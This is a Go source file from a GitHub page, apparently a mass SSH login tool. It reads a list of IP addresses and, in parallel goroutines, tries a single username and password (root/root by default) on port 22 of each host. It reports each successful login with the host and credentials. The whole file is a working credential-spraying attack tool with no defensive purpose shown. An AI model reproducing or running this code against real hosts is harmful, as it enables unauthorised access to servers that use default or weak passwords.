-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathmassh.go
127 lines (107 loc) · 2.4 KB
/
massh.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
package main
import (
"bufio"
"flag"
"fmt"
"os"
"strings"
"github.com/dynport/gossh"
)
var verbose *bool
var ips chan string
func check(err error, msg string) {
if err != nil {
//fmt.Println(msg)
os.Exit(1)
}
}
func trySSH(user, pass, host string, port int) bool {
client := gossh.New(host, user)
client.Port = port
client.SetPassword(pass)
defer client.Close()
r, e := client.Execute("w")
if e != nil {
//fmt.Println(e.Error())
if strings.Contains(e.Error(), "unable to authenticate") {
if *verbose {
fmt.Printf("[%s] [%s] [%s]\n", host, user, pass)
}
return false
} else if strings.Contains(e.Error(), "ssh: handshake failed: EOF") {
if *verbose {
fmt.Printf("[%s] [%s] [%s] handshake failed\n", host, user, pass)
}
return false
} else if strings.Contains(e.Error(), "process exited with") {
if *verbose {
fmt.Printf("[%s] [%s] [%s] Goooooood!!!! %s\n", host, user, pass, e.Error())
}
return true
} else {
fmt.Printf("%s not ssh\n", host)
//panic(e)
}
if *verbose {
fmt.Printf("[%s] [%s] [%s] %s\n", host, user, pass, e.Error())
}
return false
}
fmt.Printf("[%s:%d] [%s] [%s] Goooooood!!!!\n", host, port, user, pass)
fmt.Printf(r.String())
client.Close()
os.Exit(1)
return true
}
func loadWordlist(wordlist, retry string) {
skip := true
file, err := os.Open(wordlist)
check(err, "Can't load the wordlist")
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
if retry == "" {
ips <- scanner.Text()
} else {
ip := scanner.Text()
if retry == ip {
skip = false
}
if !skip {
ips <- scanner.Text()
}
}
}
ips <- "[1337]"
close(ips)
fmt.Println("Dictionary loaded.")
}
func main() {
filename := flag.String("f", "", "IPs file")
pwd := flag.String("p", "root", "password")
user := flag.String("u", "root", "user name")
goroutines := flag.Int("go", 2, "gorountines")
retry := flag.String("r", "", "continue from ip")
verbose = flag.Bool("v", false, "verbose mode")
flag.Parse()
if *filename == "" {
fmt.Println("filename is mandatory -f or -help")
os.Exit(1)
}
ips = make(chan string, 6)
go loadWordlist(*filename, *retry)
for i := 0; i < *goroutines; i++ {
go func(g int, pass, login string) {
for ip := range ips {
if ip == "[1337]" {
os.Exit(1)
}
trySSH(login, pass, ip, 22)
}
}(i, *pwd, *user)
}
var i int
for {
fmt.Scanf("%d", &i)
}
}